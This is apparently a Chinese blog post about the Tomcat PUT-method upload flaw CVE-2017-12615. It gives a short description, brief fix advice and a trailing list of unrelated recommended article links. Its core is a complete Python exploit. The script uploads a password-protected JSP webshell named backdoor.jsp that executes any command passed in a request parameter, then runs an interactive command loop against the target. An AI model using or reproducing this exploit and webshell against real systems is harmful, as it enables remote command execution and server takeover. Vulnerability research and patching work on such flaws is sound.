tomcat 文件上传 (CVE-2017-12615)

目录

1、漏洞描述

2、访问ip:port

3、漏洞利用

4、Exploit

5、修复建议


1、漏洞描述

Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

2、访问ip:port

3、漏洞利用

复制代码
python3 CVE-2017-12615-EXP.py -u IP -p 端口

4、Exploit

复制代码
#CVE-2017-12615 EXP
__author__ = '纸机'
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)

5、修复建议

复制代码
设置conf/webxml文件的readOnly值为Ture或注释参数
禁用PUT方法并重启tomcat服务(如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。)
升级到最新版本
使用WAF产品进行防御
相关推荐
会编程的林俊杰6 分钟前
Mapper解析
java·mybatis
狼爷8 分钟前
yyds,JDK 25 终结 import,可以像 Python 一样简单粗暴了
java
毕设源码-邱学长19 分钟前
【开题答辩全过程】以 跑腿服务网站为例,包含答辩的问题和答案
java·eclipse
一 乐35 分钟前
高校评教|基于SpringBoot+vue高校学生评教系统 (源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·学习
自在极意功。37 分钟前
手写Tomcat:深入理解Servlet容器工作原理
java·servlet·tomcat·socket
Boop_wu37 分钟前
[Java EE] 字符流和字节流实例
java·开发语言·apache
是一个Bug38 分钟前
Spring事件监听器在电商订单系统中的应用
java·python·spring
像风没有归宿a40 分钟前
2024年全球网络安全威胁报告:AI攻击与勒索软件新变种
人工智能·安全·web安全
Arva .1 小时前
讲一下 Spring 中用到的设计模式
java·spring·设计模式